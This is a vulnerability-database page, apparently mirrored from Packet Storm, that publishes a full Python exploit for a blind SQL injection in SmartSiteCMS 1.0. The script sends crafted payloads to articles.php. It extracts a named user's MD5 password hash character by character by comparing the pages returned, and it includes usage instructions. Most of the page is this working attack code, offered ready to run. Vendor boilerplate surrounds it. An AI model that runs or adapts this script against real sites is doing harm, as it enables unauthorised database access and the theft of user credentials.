Lucene search
K

SmartSiteCMS 1.0 Blind SQL Injection

🗓️ 28 Jan 2009 00:00:00Reported by certaindeathType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

SmartSiteCMS 1.0 Blind SQL Injection vulnerabilit

Code
`#!/usr/bin/python  
  
import sys  
import re  
from socket import *  
  
class exploit:  
def __init__(self,host,path,user):  
self.host=host  
self.path=path  
self.user=user  
self.reg=re.compile("<!-- END COMMENT FORM -->")  
def set_query(self,n,ch):  
self.query="' OR ASCII(SUBSTRING((SELECT password FROM users WHERE userName='"+self.user+"'),"+str(n)+",1)) = "+str(ord(ch))+" OR '1'='2"  
self.query = self.query.replace(" ","%20")  
self.query = self.query.replace("'","%27")  
self.request="GET "+self.path+"/articles.php?var="+self.query+" HTTP/1.0\r\nHost: "+self.host+"\r\n\n"  
def check(self):  
sock=socket(AF_INET, SOCK_STREAM)  
sock.connect((self.host, 80))  
sock.send(self.request)  
r=""  
t="-"  
while(t!=""):  
t=sock.recv(1024)  
r+=t  
match=self.reg.search(r)  
if(r[match.start()+27:match.start()+59]!="<!-- END OF RELATED ARTICLES -->"):  
return 1  
else:  
return 0  
sock.close()  
  
print "////*****************************************\\\\\\\\"  
print "|||| smartSiteCMS 1.0 v1.0 ||||"  
print "|||| Blind SQL injection ||||"  
print "|||| ||||"  
print "|||| ~Author: certaindeath ||||"  
print "|||| ~Greetz: darkjoker ||||"  
print "\\\\\\\\*****************************************////\n"  
  
if(len(sys.argv) !=4 ):  
print "Usage: python xpl.py <host> <cms path> <user>"  
print "Example: python xpl.py localhost /cms admin"  
sys.exit(0)  
  
pwd=""  
xpl = exploit(sys.argv[1],sys.argv[2],sys.argv[3])  
n=1  
while(n<=32):  
t=0  
xpl.set_query(n,str(t))  
while (xpl.check()!=1):  
t+=1  
xpl.set_query(n,str(hex(t))[-1])  
pwd+=str(hex(t))[-1]  
n+=1  
print "pass [md5]: ",pwd  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2009 00:00Current
0.6Low risk
Vulners AI Score0.6
21